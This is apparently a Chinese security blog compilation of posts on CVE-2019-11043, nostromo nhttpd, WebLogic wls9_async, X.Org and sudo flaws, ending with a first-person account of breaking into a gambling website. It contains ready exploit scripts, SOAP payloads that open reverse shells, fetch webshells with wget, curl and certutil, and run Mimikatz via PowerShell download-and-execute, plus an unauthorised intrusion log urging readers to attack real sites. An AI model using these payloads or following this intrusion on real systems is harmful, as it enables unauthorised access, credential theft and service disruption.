CVE-2019-11043-PHP远程代码执行漏 业界新闻
0x00背景介绍
来自Wallarm的安全研究员Andrew Danau在9月14号至16号举办的Real World CTF中,向服务器发送%0a(换行符)时,服务器返回异常信息,疑似存在漏洞
0x01漏洞描述
当Nginx使用特定的fastcgi配置时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置。
当fastcgi_split_path_info字段被配置为 ^(.+?.php)(/.*)$;时,攻击者可以通过精心构造的payload,造成远程代码执行漏洞,该配置已被广泛使用,危害较大
0x02漏洞编号
CVE-2019-11043
0x03受影响版本
当Nginx + php-fpm 的服务器有如下配置的时候,都会出现RCE漏洞
location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... }
0x4漏洞复现环境:
执行如下命令启动有漏洞的Nginx和PHP:
docker-compose up -d
环境启动后,访问http://your-ip:8080/index.php即可查看到一个默认页面。
0x5漏洞复现
使用https://github.com/neex/phuip-fpizdam中给出的工具,发送数据包:
$ go run . "http://your-ip:8080/index.php" 2019/10/23 19:41:00 Base status code is 200 2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate 2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795] 2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect 2019/10/23 19:41:02 Trying to set "session.auto_start=0"... 2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS 2019/10/23 19:41:02 Performing attack using php.ini settings... 2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2019/10/23 19:41:02 Trying to cleanup /tmp/a... 2019/10/23 19:41:02 Done!
可见,这里已经执行成功。
我们访问http://your-ip:8080/index.php?a=id,即可查看到命令已成功执行:
注意,因为php-fpm会启动多个子进程,在访问/index.php?a=id
时需要多访问几次,以访问到被污染的进程。
0x6漏洞刨析
因为“fpm_main.c”文件的第1150行代码中由于\n(%0a)的传入导致nginx传递给php-fpm的PATH_INFO为空。
https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L1150
进而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置。在特殊构造的配置生效的情况下可以触发任意代码执行。
0x07修复建议
- 修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符
- 暂停使用 nginx+php-fpm 服务
- 根据自己实际生产环境的业务需求,将以下配置删除
fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info;
参考:
https://twitter.com/ahack_ru/status/1186667192139636740
https://github.com/neex/phuip-fpizdam
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
CVE-2019-16278&CVE-2019-16279-nostromo nhttpd 路径遍历漏洞和Dos漏洞 业界新闻
0x1.nostromo nhttpd简介
nostromo nhttpd是一款简单,快速的开源Web服务器,其作者是来自瑞士tiefen Boden 7的马库斯·格洛克(Marcus Glocker)。
0x2.漏洞来源
10月14日来自hackthebox名人堂第290名精英黑客sp0re公布了 nostromo nhttpd 1.9.6(目前最新版,算是0day吧)及之前版本中的‘http_verify’函数存在路径遍历漏洞CVE-2019-16278和拒绝服务攻击(Dos)CVE-2019-16279 。
0x3.漏洞详情
CVE-2019-16278漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素,攻击者可利用该漏洞访问受限目录之外的位置,
而且这个漏洞是因为 对CVE-2011-0751漏洞的未完全修复导致攻击者可以利用类似 /../ 的路径格式绕过限制从而通过 /bin/sh 来执行任意参数,即命令执行。
例如:
$ ./CVE-2019-16278.sh 127.0.0.1 8080 id uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)
而CVE-2019-16279是在当攻击者在单连接中发送大量的 \r\n 就会导致 nhttpd 出现内存错误,从而导致决绝服务。
例如:
$ curl http://127.0.0.1:8080 HELLO! $ ./CVE-2019-16279.sh 127.0.0.1 8080 $ curl http://127.0.0.1:8080 curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused
0x4.漏洞相关脚本
CVE-2019-16278.sh:
#!/usr/bin/env bash HOST="$1" PORT="$2" shift 2 ( \ echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'; \ echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \ echo "$@ 2>&1" \ ) | nc "$HOST" "$PORT" \ | sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'
CVE-2019-16279.sh:
#!/usr/bin/env bash HOST="$1" PORT="$2" echo -n -e '\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n' | nc "$HOST" "$PORT"
同时,我也更新了一份到我的GitHub漏洞收集仓库:https://github.com/Mr-xn/Penetration_Testing_POC ,欢迎大家一起start和贡献!
相关资料:
http://www.nazgul.ch/dev_nostromo.html
https://git.sp0re.sh/sp0re/Nhttpd-exploits
CNVD-C-2019-48814 Weblogic wls9_async_response 反序列 渗透测试
0x1.背景
首先,CNVD收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)。
0x2.漏洞描述
攻击者利用该漏洞,可在未授权的情况下远程执行命令。从相关信息来看。 部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。 也就是说漏洞出现在 wls9_async_response.war 这个包里面,来详细看一看。
0x3.影响范围
主要影响以下版本:
WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3
0x4.复现漏洞环境
而今天复现的就是第一个版本,即WebLogic Server 10.3.6.0(wls1036_generic.jar)。
Kali2019\Win10(关闭安全中心实时防护下)
漏洞组件:bea_wls9_async_response.war
漏洞路径:http://ip:port/_async/AsyncResponseService
漏洞确认:访问漏洞路径存在以下页面,即有可能存在漏洞
漏洞利用(所有利用都需要被攻击机能够访问公网):
所有的POST报文都可以使用burpsuite完成,burpsuite破解、汉化、插件等相关教程:传送门
一、Linux下:
1、反弹shell
POST如下报文即可:
POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 853 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/vpsip/vpsport 0>&1</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
2、上传webshell
- 放置一个webshell.txt到公网
- POST以下报文 任选其一
报文一:
POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
报文二:
POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 789 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
3、访问webshell
http://ip:port/_async/webshell.jsp
二、Windows下
1、反弹shell
可直接使用黑客工具-后渗透工具-CobaltStrike生成一个payload.ps1 powershell脚本,将该脚本放到公网上,然后使用如下报文即可
POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 861 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
- 放置一个webshell.txt到公网
- 使用以下报文 任选其一均可
报文一:
POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 854 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:port/webshell.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
报文二:
POST /_async/AsyncResponseService HTTP/1.1 Host: ip:port Content-Length: 854 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>certutil -urlcache -split -f http://ip:port/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope> 3.访问webshell http://ip:port/_async/webshell.jsp
(注:上述报文中servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/为默认路径,如果路径修改,可以配合反弹shell进行获取)
0x5.缓解措施
高危:预计网上很快会有该远程代码执行漏洞的POC,建议尽快升级软件和使用连接筛选器临时拒绝T3/T3s协议。
建议尽快安装安全更新补丁(可以使用BSU智能更新)或使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议:
连接筛选器:weblogic.security.net.ConnectionFilterImpl
规则示例: 0.0.0.0/0 7001 deny t3 t3s#拒绝所有访问
允许和拒绝指定IP规则示例:
192.168.1.0/24 7001 allow t3 t3s#允许指定IP段访问
192.168.2.0/24 * 7001 deny t3 t3s#拒绝指定IP段访问
连接筛选器说明参考:
https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377
威胁推演:此漏洞为远程代码执行漏洞,基于全球使用该产品用户的数量和暴露在网上的端口情况,恶意攻击者可能会开发针对该漏洞的自动化攻击程序、黑客工具,实现漏洞利用成功后自动植入后门程序,并进一步释放矿工程序或是DDOS僵尸木马等恶意程序,从而影响到网站服务的正常提供。
安全运营建议:Oracle WebLogic历史上已经报过多个安全漏洞(其中也有反序列化漏洞),建议使用该产品的企业经常关注官方安全更新公告。
来源:https://bithack.io/forum/152
修正:此前没看急于发文,导致写错标题,对不起大家。感谢评论有个兄弟说出来,谢谢!
CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC 渗透测试
0x1 简单介绍:
X Server 是绝大对数Linux发行版和Unix系统的基础图形界面程序,是系统标配。而此程序也是以Root权限启动的,因而成功溢出它而获得的shell,也是root权限。
0x2 漏洞相关信息:
# 时间: 2019-10-16 # 作者: Marcelo Vázquez (s4vitar) # 厂商: https://www.x.org/ # 版本: <= 1.20.4 # 测试平台: Linux # CVE: CVE-2019-17624
0x3 POC
#!/usr/bin/python #coding: utf-8 # ************************************************************************ # * Author: Marcelo Vázquez (aka s4vitar) * # * X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow) * # ************************************************************************ import sys, time import ctypes as ct from ctypes import cast from ctypes.util import find_library def access_violation(x11, current_display): keyboard = (ct.c_char * 1000)() x11.XQueryKeymap(current_display, keyboard) if __name__ == '__main__': print "\n[*] Loading x11...\n" time.sleep(2) x11 = ct.cdll.LoadLibrary(find_library("X11")) current_display = x11.XOpenDisplay(None) print "[*] Exploiting...\n" time.sleep(1) try: access_violation(x11, current_display) except: print "\nError...\n" sys.exit(1)
Linux Sudo 被曝漏洞,可导致用户以 root 权限运行命令 业界新闻
Linux 用户要注意了!几乎所有基于 UNIX 和 Linux 的操作系统上安装的核心命令,也是最重要、最强大也最常用的工具 Sudo中被曝存在一个漏洞。
漏洞详情

myhost alice = (ALL) /usr/bin/id
sudo -u#1234 id -u
sudo -u#-1 id -u
sudo -u#4294967295 id -u
myhost bob = (ALL, !root) /usr/bin/vi
myhost alice = /usr/bin/id
影响版本
修复方案
从朋友圈XX中奖getshell到提权服务器过程简单记录 渗透测试
注意:所有的过程仅供渗透学习研究参考,禁止用于他途。
建议学习渗透的朋友搜索一些非法网站的关键词来进行实战练习!干爆他们!
0x1 背景:
在朋友圈发现小姨转发了一篇XXX中奖,打开一开是XX彩票,其实就是菠菜的皮,果断先劝小姨删掉这条朋友圈,就有了下面这篇文章:
0x2 信息搜集:
发现目标系统是dedecms,且为windows系统(文件名大小写快速判断),果断使用我项目里收集的改良版爆破dedecms后台的py脚本 多给我点点 Star啊!
几十秒钟后成功爆破得到后台路径:http://xxxx.com/xaxaxa
打开发现没有验证码,果断使用burpsuite抓包爆破,但是没有收获!
暂停去喝杯水,回来用后台路径xaxaxa作为用户名密码登录成功进入后台,文件管理哪里,直接上传文件,直接getshell!
由此可知,服务器没有WAF,不然上传shell肯定被拦截!
蚁剑走起,因为发现冰蝎并不是太好用,对环境有一定要求。
0x3 提权:
首先想到的是mysql udf提权:
通过查看dedecms的数据库配置文件 /data/common.inc.php得到数据库帐号,而且还是root帐户。
本以为可以顺利提权的,结果GG!记录一下吧:
查看MySQL版本,因为在高版本中有个参数至关重要,就是secure-file-priv,这个参数限制了MySQL的导出;
该参数为NULL时不允许导出、该参数为空时允许在任意文件夹中导出、该参数为某文件夹时允许在该文件夹中导出。
这个参数在各个版本中的表现如下:
MySQL5.5版本:my.ini中无此参数,查询该参数情况为NULL;
MySQL5.6版本:my.ini中无此参数,查询该参数情况为空;
MySQL5.7版本:my.ini中有此参数,查询该参数情况为数据目录下的Upload文件夹。
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.46 |
+-----------+
1 row in set (1.28 sec)
事实证明这个用来确认系统版本不准确!因为这个是MySQL的版本,并不是系统版本。
mysql> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win32 | x86 |
+----------------------+---------------------------+
1 row in set (2.01 sec)
mysql> show variables like '%compile%';
+-------------------------+-------+
| Variable_name | Value |
+-------------------------+-------+
| version_compile_machine | x86 |
| version_compile_os | Win32 |
+-------------------------+-------+
2 rows in set (1.86 sec)
mysql> select @@plugin_dir;
+-------------------------------------------------+
| @@plugin_dir |
+-------------------------------------------------+
| D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\ |
+-------------------------------------------------+
1 row in set (1.26 sec)
mysql> select load_file('D:\www\xxxxxxxxxx.com\a\chanpinzhongxin\lib_mysqludf_sys_32.dll') into dumpfile 'D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\udf.dll';
1 - Can't create/write to file 'D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\udf.dll' (Errcode: 13)
还尝试过使用HEX来进行写入,也宣告失败。
最后进了系统后发现那个文件夹管理员都没有直接查看权限!还需要先取得所有权才能查看!我丢!难怪root权限的mysql帐户也不能导出dll。
真的是实战渗透你会发现什么样的环境都有,很少有教科书一样的环境,需要自己灵活变通,所有的教程都只能是参考!
0x4 使用EXP打,梭哈:
下面就换一个方式,使用EXP来打...在不知道补丁情况下我就用N多个匹配目标系统的EXP来尝试...
好在最后通过缩小目标范围成功提权,下面是一些本次Windows Server 2008 R2 Enterprise的EXP提权测试记录。
D:\www\xxxxxxxx.com\about> tasklist
映像名称 PID 会话名 会话# 内存使用
========================= ======== ================ =========== ============
System Idle Process 0 0 24 K
System 4 0 364 K
smss.exe 452 0 2,192 K
csrss.exe 536 0 15,284 K
csrss.exe 588 1 8,256 K
wininit.exe 596 0 6,940 K
services.exe 640 0 13,340 K
lsass.exe 648 0 70,872 K
lsm.exe 656 0 9,144 K
winlogon.exe 712 1 7,936 K
svchost.exe 796 0 15,388 K
svchost.exe 876 0 16,156 K
LogonUI.exe 964 1 17,688 K
svchost.exe 972 0 16,988 K
spoolsv.exe 1136 0 20,572 K
svchost.exe 1172 0 12,644 K
svchost.exe 1196 0 18,556 K
inetinfo.exe 1224 0 30,140 K
mysqld.exe 1432 0 223,128 K
svchost.exe 1484 0 14,536 K
svchost.exe 1524 0 4,880 K
svchost.exe 1564 0 37,440 K
svchost.exe 2500 0 15,892 K
svchost.exe 17884 0 6,736 K
msdtc.exe 17932 0 9,852 K
csrss.exe 20892 2 14,512 K
winlogon.exe 31176 2 10,096 K
taskhost.exe 37920 2 8,888 K
rdpclip.exe 32664 2 10,204 K
dwm.exe 20120 2 6,828 K
explorer.exe 39432 2 120,864 K
LocoyPlatform.exe 38208 2 285,120 K
wlrmdr.exe 67128 2 6,196 K
w3wp.exe 51948 0 18,636 K
w3wp.exe 4956 0 18,224 K
w3wp.exe 13988 0 18,508 K
dllhost.exe 27880 0 6,596 K
wsmprovhost.exe 35776 0 7,536 K
w3wp.exe 56336 0 17,804 K
php-cgi.exe 47428 0 25,352 K
php-cgi.exe 10924 0 25,820 K
w3wp.exe 57064 0 17,508 K
php-cgi.exe 25912 0 25,296 K
w3wp.exe 16252 0 17,516 K
php-cgi.exe 28464 0 25,252 K
php-cgi.exe 59852 0 25,196 K
w3wp.exe 68792 0 17,700 K
php-cgi.exe 65204 0 23,368 K
w3wp.exe 49940 0 17,360 K
cmd.exe 40808 0 4,780 K
conhost.exe 48340 0 4,892 K
cmd.exe 68144 0 4,728 K
tasklist.exe 26436 0 7,352 K
在进程里没有发现杀软,虽然shell是免杀得...没有最方便啦!这也印证了开始传shell的猜想。
查看用户和所在用户的权限:
D:\www\xxxxxxxx.com\about> net user
\ 的用户帐户
-------------------------------------------------------------------------------
Administrator APP_IWAM_9624056 Guest
MYSQL_USER PhpMyAdmin_USER
命令运行完毕,但发生一个或多个错误。
D:\www\xxxxxxxx.com\about> whoami /priv
特权信息
----------------------
特权名 描述 状态
======================= ==================== ======
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
看到有SeImpersonatePrivilege 权限,期间还是用过MSF的incognito模块来进行会话令牌冒用,均已失败告终。
查看是否存在域环境,准备找其他域内机器攻克,但是结果是单域。
D:\www\xxxxxxxx.com\about> net user /domain
这项请求将在域 WORKGROUP 的域控制器处理。
发生系统错误 1355。
指定的域不存在,或无法联系。
D:\www\xxxxxxxx.com\about> whoami /all
用户信息
----------------
用户名 SID
================= ========
nt authority\iusr S-1-5-17
组信息
-----------------
组名 类型 SID 属性
==================================== ====== ============ ==============================
Mandatory Label\High Mandatory Level 标签 S-1-16-12288
Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组
BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\SERVICE 已知组 S-1-5-6 只用于拒绝的组
控制台登录 已知组 S-1-2-1 必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组
LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组
特权信息
----------------------
特权名 描述 状态
======================= ==================== ======
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
查看具有管理权限的账户列表:
D:\www\xxxxxxxx.com\about> net localgroup administrators
别名 administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
Administrator
命令成功完成。
查看网卡配置:
D:\www\xxxxxxxx.com\about> ipconfig /all
Windows IP 配置
主机名 . . . . . . . . . . . . . : WIN-xxxxxxxxxxx
主 DNS 后缀 . . . . . . . . . . . :
节点类型 . . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否
以太网适配器 本地连接 2:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Intel(R) I350 Gigabit Network Connection #2
物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-CB
DHCP 已启用 . . . . . . . . . . . : 是
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::xxx:xxx:xxx:887d%13(首选)
自动配置 IPv4 地址 . . . . . . . : 169.254.136.125(首选)
子网掩码 . . . . . . . . . . . . : 255.255.0.0
默认网关. . . . . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 301999504
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-24-A2-67-59-xx-xx-xx-xx-xx-CA
DNS 服务器 . . . . . . . . . . . : fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
TCPIP 上的 NetBIOS . . . . . . . : 已启用
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Intel(R) I350 Gigabit Network Connection
物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-CA
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::xxx:xxx:xxx:ef33%11(首选)
IPv4 地址 . . . . . . . . . . . . : x.x.x.25(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
IPv4 地址 . . . . . . . . . . . . : x.x.x.130(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
IPv4 地址 . . . . . . . . . . . . : x.x.x.131(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
IPv4 地址 . . . . . . . . . . . . : x.x.x.132(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
IPv4 地址 . . . . . . . . . . . . : x.x.x.133(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
IPv4 地址 . . . . . . . . . . . . : x.x.x.134(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
IPv4 地址 . . . . . . . . . . . . : x.x.x.135(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
查看arp配置:
D:\www\xxxxxxxx.com\about> arp -a
???: x.x.x.25 --- 0xb
Internet ??? ??????? ????
x.x.x.24 00-25-90-88-a5-b2 ???
x.x.x.60 44-4c-a8-81-12-08 ???
x.x.x.61 44-4c-a8-80-e1-21 ???
x.x.x.62 00-1c-73-00-00-02 ???
x.x.x.63 ff-ff-ff-ff-ff-ff ???
x.x.x.191 ff-ff-ff-ff-ff-ff ???
x.x.x.127 ff-ff-ff-ff-ff-ff ???
x.x.x.63 ff-ff-ff-ff-ff-ff ???
x.x.x.255 ff-ff-ff-ff-ff-ff ???
224.0.0.22 01-00-5e-00-00-16 ???
224.0.0.252 01-00-5e-00-00-fc ???
???: 169.254.136.125 --- 0xd
Internet ??? ??????? ????
169.254.255.255 ff-ff-ff-ff-ff-ff ???
224.0.0.22 01-00-5e-00-00-16 ???
224.0.0.252 01-00-5e-00-00-fc ???
255.255.255.255 ff-ff-ff-ff-ff-ff ???
在shell的虚拟终端中执行systeminfo结果如下:
D:\www\xxxxxxxx.com\about> systeminfo
主机名: WIN-xxxxxxxx
OS 名称: Microsoft Windows Server 2008 R2 Enterprise
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
注册的组织:
产品 ID: 00486-OEM-8400691-20006
初始安装日期: 2019/5/26, 14:13:48
系统启动时间: 2019/8/18, 17:17:23
系统制造商: Supermicro
系统型号: X9DRD-iF
系统类型: x64-based PC
处理器: 安装了 2 个处理器。
[01]: Intel64 Family 6 Model 45 Stepping 7 GenuineIntel ~1180 Mhz
[02]: Intel64 Family 6 Model 45 Stepping 7 GenuineIntel ~1180 Mhz
BIOS 版本: American Megatrends Inc. 1.0b, 2012/10/5
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 32,735 MB
可用的物理内存: 25,878 MB
虚拟内存: 最大值: 65,469 MB
虚拟内存: 可用: 39,898 MB
虚拟内存: 使用中: 25,571 MB
页面文件位置: C:\pagefile.sys
域: WORKGROUP
登录服务器: 暂缺
修补程序: 暂缺
网卡: 安装了 2 个 NIC。
[01]: Intel(R) I350 Gigabit Network Connection
连接名: 本地连接
启用 DHCP: 否
IP 地址
[01]: x.x.x.x
.........N......
出现修补程序状态为暂缺的情况下一般是shell的权限不够,后来登录后执行systeminfo的结果印证:
修补程序: 安装了 2 个修补程序。
[01]: KB2999xxx
[02]: KB976xxx
那就只有使用cmd命令来猜测是否打了一些常见的本地提权补丁
systeminfo>temp.txt&(for %i in (KB952004 KB970483 KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3011780 KB3036220 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3124280 KB3141780 KB4013389) do @type temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt
